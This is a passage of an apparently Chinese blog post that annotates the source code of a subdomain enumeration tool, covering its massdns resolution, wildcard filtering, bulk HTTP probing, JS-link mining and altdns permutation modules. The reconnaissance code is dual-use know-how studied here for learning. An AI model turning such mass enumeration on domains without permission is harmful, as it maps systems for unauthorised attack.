Get all the data in the table</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> :param str table_name: table name</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> table_name = table_name.replace(<span class="string">'.'</span>, <span class="string">'_'</span>)</span><br><span class="line"> logger.log(<span class="string">'TRACE'</span>, <span class="string">f'Get all the data from <span class="subst">{table_name}</span> table'</span>)</span><br><span class="line"> <span class="keyword">return</span> self.query(<span class="string">f'select * from "<span class="subst">{table_name}</span>"'</span>)</span><br></pre></td></tr></table></figure><p><code>as_dict()</code></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">as_dict</span>(<span class="params">self, ordered=False</span>):</span></span><br><span class="line"> <span class="keyword">return</span> self.all(as_dict=<span class="keyword">not</span> (ordered), as_ordereddict=ordered)</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">all</span>(<span class="params">self, as_dict=False, as_ordereddict=False</span>):</span></span><br><span class="line"> <span class="string">"""Returns a list of all rows for the RecordCollection. If they haven't</span></span><br><span class="line"><span class="string"> been fetched yet, consume the iterator and cache the results."""</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># By calling list it calls the __iter__ method</span></span><br><span class="line"> rows = list(self)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> as_dict:</span><br><span class="line"> <span class="keyword">return</span> [r.as_dict() <span class="keyword">for</span> r <span class="keyword">in</span> rows]</span><br><span class="line"> <span class="keyword">elif</span> as_ordereddict:</span><br><span class="line"> <span class="keyword">return</span> [r.as_dict(ordered=<span class="literal">True</span>) <span class="keyword">for</span> r <span class="keyword">in</span> rows]</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> rows</span><br><span class="line"><span class="comment"># OrderedDict迭代器</span></span><br></pre></td></tr></table></figure><p><code>utils.clear_data(self.domain)</code></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">clear_data</span>(<span class="params">domain</span>):</span></span><br><span class="line"> db = Database()</span><br><span class="line"> db.drop_table(domain)</span><br><span class="line"> db.close()</span><br><span class="line"> <span class="comment"># 删除表</span></span><br><span class="line"> <span class="comment"># 此时表里的数据未进行resolve, http req, 前面由get_data取出了再删除</span></span><br></pre></td></tr></table></figure><h4 id="0x2-2-7-DNS解析验证"><a href="#0x2-2-7-DNS解析验证" class="headerlink" title="0x2.2.7 DNS解析验证"></a>0x2.2.7 DNS解析验证</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">self.data = resolve.run_resolve(self.domain, self.data)</span><br><span class="line">resolve.save_db(self.domain, self.data)</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">run_resolve</span>(<span class="params">domain, data</span>):</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> 调用子域解析入口函数</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> :param str domain: 待解析的主域</span></span><br><span class="line"><span class="string"> :param list data: 待解析的子域数据列表</span></span><br><span class="line"><span class="string"> :return: 解析得到的结果列表</span></span><br><span class="line"><span class="string"> :rtype: list</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> logger.log(<span class="string">'INFOR'</span>, <span class="string">f'Start resolving subdomains of <span class="subst">{domain}</span>'</span>)</span><br><span class="line"> subdomains = filter_subdomain(data)</span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> subdomains:</span><br><span class="line"> <span class="keyword">return</span> data</span><br><span class="line"></span><br><span class="line"> massdns_dir = settings.third_party_dir.joinpath(<span class="string">'massdns'</span>)</span><br><span class="line"> result_dir = settings.result_save_dir</span><br><span class="line"> temp_dir = result_dir.joinpath(<span class="string">'temp'</span>)</span><br><span class="line"> utils.check_dir(temp_dir)</span><br><span class="line"> massdns_path = utils.get_massdns_path(massdns_dir)</span><br><span class="line"> timestring = utils.get_timestring()</span><br><span class="line"></span><br><span class="line"> save_name = <span class="string">f'collected_subdomains_<span class="subst">{domain}</span>_<span class="subst">{timestring}</span>.txt'</span></span><br><span class="line"> save_path = temp_dir.joinpath(save_name)</span><br><span class="line"> save_subdomains(save_path, subdomains)</span><br><span class="line"> <span class="keyword">del</span> subdomains</span><br><span class="line"> gc.collect()</span><br><span class="line"></span><br><span class="line"> output_name = <span class="string">f'resolved_result_<span class="subst">{domain}</span>_<span class="subst">{timestring}</span>.json'</span></span><br><span class="line"> output_path = temp_dir.joinpath(output_name)</span><br><span class="line"> log_path = result_dir.joinpath(<span class="string">'massdns.log'</span>)</span><br><span class="line"> ns_path = utils.get_ns_path()</span><br><span class="line"></span><br><span class="line"> logger.log(<span class="string">'INFOR'</span>, <span class="string">f'Running massdns to resolve subdomains'</span>)</span><br><span class="line"> utils.call_massdns(massdns_path, save_path, ns_path,</span><br><span class="line"> output_path, log_path, quiet_mode=<span class="literal">True</span>)</span><br><span class="line"></span><br><span class="line"> infos = deal_output(output_path)</span><br><span class="line"> data = update_data(data, infos)</span><br><span class="line"> logger.log(<span class="string">'INFOR'</span>, <span class="string">f'Finished resolve subdomains of <span class="subst">{domain}</span>'</span>)</span><br><span class="line"> <span class="keyword">return</span> data</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">call_massdns</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">call_massdns</span>(<span class="params">massdns_path, dict_path, ns_path, output_path, log_path,</span></span></span><br><span class="line"><span class="function"><span class="params"> query_type=<span class="string">'A'</span>, process_num=<span class="number">1</span>, concurrent_num=<span class="number">10000</span>,</span></span></span><br><span class="line"><span class="function"><span class="params"> quiet_mode=False</span>):</span></span><br><span class="line"> logger.log(<span class="string">'DEBUG'</span>, <span class="string">'Start running massdns'</span>)</span><br><span class="line"> quiet = <span class="string">''</span></span><br><span class="line"> <span class="keyword">if</span> quiet_mode:</span><br><span class="line"> quiet = <span class="string">'--quiet'</span></span><br><span class="line"> status_format = settings.brute_status_format</span><br><span class="line"> socket_num = settings.brute_socket_num</span><br><span class="line"> resolve_num = settings.brute_resolve_num</span><br><span class="line"> cmd = <span class="string">f'<span class="subst">{massdns_path}</span> <span class="subst">{quiet}</span> --status-format <span class="subst">{status_format}</span> '</span> \</span><br><span class="line"> <span class="string">f'--processes <span class="subst">{process_num}</span> --socket-count <span class="subst">{socket_num}</span> '</span> \</span><br><span class="line"> <span class="string">f'--hashmap-size <span class="subst">{concurrent_num}</span> --resolvers <span class="subst">{ns_path}</span> '</span> \</span><br><span class="line"> <span class="string">f'--resolve-count <span class="subst">{resolve_num}</span> --type <span class="subst">{query_type}</span> '</span> \</span><br><span class="line"> <span class="string">f'--flush --output J --outfile <span class="subst">{output_path}</span> '</span> \</span><br><span class="line"> <span class="string">f'--root --error-log <span class="subst">{log_path}</span> <span class="subst">{dict_path}</span> --filter OK '</span> \</span><br><span class="line"> <span class="string">f'--sndbuf 0 --rcvbuf 0'</span></span><br><span class="line"> logger.log(<span class="string">'DEBUG'</span>, <span class="string">f'Run command <span class="subst">{cmd}</span>'</span>)</span><br><span class="line"> subprocess.run(args=cmd, shell=<span class="literal">True</span>)</span><br><span class="line"> logger.log(<span class="string">'DEBUG'</span>, <span class="string">f'Finished massdns'</span>)</span><br></pre></td></tr></table></figure><p><code>resolve.save_db(self.domain, self.data)</code></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">save_db</span>(<span class="params">name, data</span>):</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> Save resolved results to database</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> :param str name: table name</span></span><br><span class="line"><span class="string"> :param list data: data to be saved</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> logger.log(<span class="string">'INFOR'</span>, <span class="string">f'Saving resolved results'</span>)</span><br><span class="line"> utils.save_to_db(name, data, <span class="string">'resolve'</span>)// !!!</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">save_to_db</span>(<span class="params">name, data, module</span>):</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> Save request results to database</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> :param str name: table name</span></span><br><span class="line"><span class="string"> :param list data: data to be saved</span></span><br><span class="line"><span class="string"> :param str module: module name</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> db = Database()</span><br><span class="line"> db.drop_table(name)</span><br><span class="line"> db.create_table(name)</span><br><span class="line"> db.save_db(name, data, module)</span><br><span class="line"> db.close()</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> <span class="keyword">not</span> self.req:<span class="comment"># 如果没有req</span></span><br><span class="line"> self.data = self.export_data()</span><br><span class="line"> self.datas.extend(self.data)</span><br><span class="line"> <span class="keyword">return</span> self.data</span><br><span class="line"> <span class="comment"># 跟前面相同</span></span><br><span class="line"><span class="keyword">if</span> self.enable_wildcard:<span class="comment"># 如果有泛解析</span></span><br><span class="line"> <span class="comment"># deal wildcard</span></span><br><span class="line"> self.data = wildcard.deal_wildcard(self.data)</span><br><span class="line"><span class="comment"># HTTP request</span></span><br><span class="line">utils.clear_data(self.domain)</span><br><span class="line">request.run_request(self.domain, self.data, self.port)</span><br></pre></td></tr></table></figure><p><code>self.data = wildcard.deal_wildcard(self.data)</code></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">deal_wildcard</span>(<span class="params">data</span>):</span></span><br><span class="line"> new_data = list()</span><br><span class="line"> appear_times = stat_times(data)</span><br><span class="line"> <span class="keyword">for</span> info <span class="keyword">in</span> data:</span><br><span class="line"> subdomain = info.get(<span class="string">'subdomain'</span>)</span><br><span class="line"> isvalid, reason = check_valid_subdomain(appear_times, info)</span><br><span class="line"> logger.log(<span class="string">'DEBUG'</span>, <span class="string">f'<span class="subst">{subdomain}</span> is <span class="subst">{isvalid}</span> subdomain reason because <span class="subst">{reason}</span>'</span>)</span><br><span class="line"> <span class="keyword">if</span> isvalid:</span><br><span class="line"> new_data.append(info)<span class="comment"># !!!</span></span><br><span class="line"> <span class="keyword">return</span> new_data</span><br></pre></td></tr></table></figure><h4 id="0x2-2-8-http请求验证模块"><a href="#0x2-2-8-http请求验证模块" class="headerlink" title="0x2.2.8 http请求验证模块"></a>0x2.2.8 http请求验证模块</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">utils.clear_data(self.domain)<span class="comment"># 跟上一样</span></span><br><span class="line">request.run_request(self.domain, self.data, self.port)<span class="comment"># 跑req,更新数据</span></span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">run_request</span>(<span class="params">domain, data, port</span>):</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> HTTP request entrance</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> :param str domain: domain to be requested</span></span><br><span class="line"><span class="string"> :param list data: subdomains data to be requested</span></span><br><span class="line"><span class="string"> :param any port: range of ports to be requested</span></span><br><span class="line"><span class="string"> :return list: result</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> logger.log(<span class="string">'INFOR'</span>, <span class="string">f'Start requesting subdomains of <span class="subst">{domain}</span>'</span>)</span><br><span class="line"> data = utils.set_id_none(data)</span><br><span class="line"> ports = get_port_seq(port)</span><br><span class="line"> req_data, req_urls = gen_req_data(data, ports)</span><br><span class="line"> bulk_request(domain, req_data)</span><br><span class="line"> count = utils.count_alive(domain)</span><br><span class="line"> logger.log(<span class="string">'INFOR'</span>, <span class="string">f'Found that <span class="subst">{domain}</span> has <span class="subst">{count}</span> alive subdomains'</span>)</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">bulk_request</span>(<span class="params">domain, req_data, ret=False</span>):</span></span><br><span class="line"> logger.log(<span class="string">'INFOR'</span>, <span class="string">'Requesting urls in bulk'</span>)</span><br><span class="line"> resp_queue = Queue()</span><br><span class="line"> urls_queue = Queue()</span><br><span class="line"> task_count = len(req_data)</span><br><span class="line"> <span class="keyword">for</span> index, info <span class="keyword">in</span> enumerate(req_data):</span><br><span class="line"> url = info.get(<span class="string">'url'</span>)</span><br><span class="line"> urls_queue.put((index, url))</span><br><span class="line"> session = get_session()</span><br><span class="line"> thread_count = req_thread_count()</span><br><span class="line"> <span class="keyword">if</span> task_count <= thread_count:</span><br><span class="line"> <span class="comment"># 如果请求任务数很小不用创建很多线程了</span></span><br><span class="line"> thread_count = task_count</span><br><span class="line"> bar = get_progress_bar(task_count)</span><br><span class="line"></span><br><span class="line"> progress_thread = Thread(target=progress, name=<span class="string">'ProgressThread'</span>,</span><br><span class="line"> args=(bar, task_count, urls_queue), daemon=<span class="literal">True</span>)</span><br><span class="line"> progress_thread.start()</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> range(thread_count):</span><br><span class="line"> request_thread = Thread(target=request, name=<span class="string">f'RequestThread-<span class="subst">{i}</span>'</span>,</span><br><span class="line"> args=(urls_queue, resp_queue, session), daemon=<span class="literal">True</span>)</span><br><span class="line"> request_thread.start()</span><br><span class="line"> <span class="keyword">if</span> ret:</span><br><span class="line"> urls_queue.join()</span><br><span class="line"> <span class="keyword">return</span> resp_queue</span><br><span class="line"> save_thread = Thread(target=save, name=<span class="string">f'SaveThread'</span>,</span><br><span class="line"> args=(domain, task_count, req_data, resp_queue), daemon=<span class="literal">True</span>)</span><br><span class="line"> save_thread.start()</span><br><span class="line"> urls_queue.join()</span><br><span class="line"> save_thread.join()</span><br><span class="line"></span><br></pre></td></tr></table></figure><h4 id="0x2-2-9-爬取解析模块"><a href="#0x2-2-9-爬取解析模块" class="headerlink" title="0x2.2.9 爬取解析模块"></a>0x2.2.9 爬取解析模块</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Finder module</span></span><br><span class="line"><span class="keyword">if</span> settings.enable_finder_module:</span><br><span class="line"> finder = Finder()</span><br><span class="line"> finder.run(self.domain, self.data, self.port)</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">run</span>(<span class="params">self, domain, data, port</span>):</span></span><br><span class="line"> logger.log(<span class="string">'INFOR'</span>, <span class="string">f'Start Finder module'</span>)</span><br><span class="line"> existing_subdomains = set(map(<span class="keyword">lambda</span> x: x.get(<span class="string">'subdomain'</span>), data)) <span class="comment"># 已有的子域</span></span><br><span class="line"> found_subdomains = find_subdomains(domain, data)<span class="comment"># !!! 主要功能在此函数</span></span><br><span class="line"> new_subdomains = found_subdomains - existing_subdomains</span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> len(new_subdomains):</span><br><span class="line"> self.finish() <span class="comment"># 未发现新的子域就直接返回</span></span><br><span class="line"> self.subdomains = new_subdomains</span><br><span class="line"> self.finish()</span><br><span class="line"> self.gen_result()</span><br><span class="line"> resolved_data = resolve.run_resolve(domain, self.results)</span><br><span class="line"> request.run_request(domain, resolved_data, port)</span><br><span class="line"><span class="comment"># https://github.com/GerbenJavado/LinkFinder</span></span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">find_subdomains</span>(<span class="params">domain, data</span>):</span></span><br><span class="line"> subdomains = set()</span><br><span class="line"> js_urls = set()</span><br><span class="line"> db = Database()</span><br><span class="line"> <span class="keyword">for</span> infos <span class="keyword">in</span> data:</span><br><span class="line"> jump_history = infos.get(<span class="string">'history'</span>)</span><br><span class="line"> req_url = infos.get(<span class="string">'url'</span>)</span><br><span class="line"> subdomains.update(find_in_history(domain, req_url, jump_history))</span><br><span class="line"> <span class="comment"># URL跳转历史中查找子域名</span></span><br><span class="line"> rsp_html = db.get_resp_by_url(domain, req_url)</span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> rsp_html:</span><br><span class="line"> logger.log(<span class="string">'DEBUG'</span>, <span class="string">f'an abnormal response occurred in the request <span class="subst">{req_url}</span>'</span>)</span><br><span class="line"> <span class="keyword">continue</span></span><br><span class="line"> subdomains.update(find_in_resp(domain, req_url, rsp_html))</span><br><span class="line"> <span class="comment"># 返回内容种查找子域名</span></span><br><span class="line"> js_urls.update(find_js_urls(domain, req_url, rsp_html))</span><br><span class="line"><span class="comment"># js中查找子域名</span></span><br><span class="line"> req_data = convert_to_dict(js_urls)</span><br><span class="line"> resp_data = request.bulk_request(domain, req_data, ret=<span class="literal">True</span>)</span><br><span class="line"> <span class="keyword">while</span> <span class="keyword">not</span> resp_data.empty():</span><br><span class="line"> _, resp = resp_data.get()</span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> isinstance(resp, Response):</span><br><span class="line"> <span class="keyword">continue</span></span><br><span class="line"> text = utils.decode_resp_text(resp)</span><br><span class="line"> subdomains.update(find_in_resp(domain, resp.url, text))</span><br><span class="line"> <span class="keyword">return</span> subdomains</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">find_in_history</span>(<span class="params">domain, url, history</span>):</span></span><br><span class="line"> logger.log(<span class="string">'TRACE'</span>, <span class="string">f'matching subdomains from history of <span class="subst">{url}</span>'</span>)</span><br><span class="line"> <span class="keyword">return</span> match_subdomains(domain, history)</span><br></pre></td></tr></table></figure><ul><li><p>URL跳转历史中查找子域名,通过match_subdomains匹配</p></li><li><pre><code class="python">def find_in_resp(domain, url, html): logger.log('TRACE', f'matching subdomains from response of {url}') return match_subdomains(domain, html)<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">- 从返回内容种查找子域名</span><br><span class="line"></span><br><span class="line">- ```python</span><br><span class="line"> def find_js_urls(domain, req_url, rsp_html):</span><br><span class="line"> js_urls = set()</span><br><span class="line"> new_urls = find_new_urls(rsp_html)</span><br><span class="line"> if not new_urls:</span><br><span class="line"> return js_urls</span><br><span class="line"> for rel_url in new_urls:</span><br><span class="line"> url = convert_url(req_url, rel_url)</span><br><span class="line"> if not filter_url(domain, url):</span><br><span class="line"> js_urls.add(url)</span><br><span class="line"> return js_urls</span><br></pre></td></tr></table></figure></code></pre></li><li><p>从js中查找子域名</p></li></ul><h4 id="0x2-2-10-子域置换模块"><a href="#0x2-2-10-子域置换模块" class="headerlink" title="0x2.2.10 子域置换模块"></a>0x2.2.10 子域置换模块</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># altdns module</span></span><br><span class="line"><span class="keyword">if</span> settings.enable_altdns_module:</span><br><span class="line">altdns = Altdns(self.domain)</span><br><span class="line">altdns.run(self.data, self.port)</span><br><span class="line"><span class="comment"># 根据已有的子域,使用子域替换技术再次发现新的子域</span></span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">run</span>(<span class="params">self, data, port</span>):</span></span><br><span class="line"> logger.log(<span class="string">'INFOR'</span>, <span class="string">f'Start altdns module'</span>)</span><br><span class="line"> self.now_subdomains = utils.get_subdomains(data)</span><br><span class="line"> self.get_words()</span><br><span class="line"> self.extract_words()</span><br><span class="line"> self.gen_new_subdomains()</span><br><span class="line"> self.subdomains = self.new_subdomains - self.now_subdomains</span><br><span class="line"> count = len(self.subdomains)</span><br><span class="line"> logger.log(<span class="string">'INFOR'</span>, <span class="string">f'The altdns module generated <span class="subst">{count}</span> new subdomains'</span>)</span><br><span class="line"> self.end = time.time()</span><br><span class="line"> self.elapse = round(self.end - self.start, <span class="number">1</span>)</span><br><span class="line"> self.gen_result()</span><br><span class="line"> resolved_data = resolve.run_resolve(self.domain, self.results)</span><br><span class="line"> valid_data = wildcard.deal_wildcard(resolved_data) <span class="comment"># 强制开启泛解析处理</span></span><br><span class="line"> request.run_request(self.domain, valid_data, port)</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">self.get_words()<span class="comment"># 得到words,words来源./data/altdns_wordlist.txt</span></span><br><span class="line">self.extract_words() <span class="comment"># 根据目标的域命名约定扩展字典</span></span><br><span class="line">self.gen_new_subdomains()</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_words</span>(<span class="params">self</span>):</span></span><br><span class="line"> path = settings.data_storage_dir.joinpath(<span class="string">'altdns_wordlist.txt'</span>)</span><br><span class="line"> <span class="keyword">with</span> open(path) <span class="keyword">as</span> fd:</span><br><span class="line"> <span class="keyword">for</span> line <span class="keyword">in</span> fd:</span><br><span class="line"> word = line.lower().strip()</span><br><span class="line"> <span class="keyword">if</span> word:</span><br><span class="line"> self.words.add(word)</span><br><span class="line"> <span class="comment"># 读取altdns_wordlist.txt内容, 生成words元组</span></span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">extract_words</span>(<span class="params">self</span>):</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> Extend the dictionary based on target's domain naming conventions</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">for</span> subdomain <span class="keyword">in</span> self.now_subdomains:</span><br><span class="line"> _, parts = split_domain(subdomain)</span><br><span class="line"> tokens = set(itertools.chain(*[word.lower().split(<span class="string">'-'</span>) <span class="keyword">for</span> word <span class="keyword">in</span> parts]))</span><br><span class="line"> tokens = tokens.union({word.lower() <span class="keyword">for</span> word <span class="keyword">in</span> parts})</span><br><span class="line"> <span class="keyword">for</span> token <span class="keyword">in</span> tokens:</span><br><span class="line"> <span class="keyword">if</span> len(token) >= self.wordlen:</span><br><span class="line"> self.words.add(token)</span><br><span class="line"> <span class="comment"># 从上面收集的数据中,得到words</span></span><br><span class="line"> <span class="comment"># eg: xiaotao.tao.com -> token=xiaotao</span></span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span 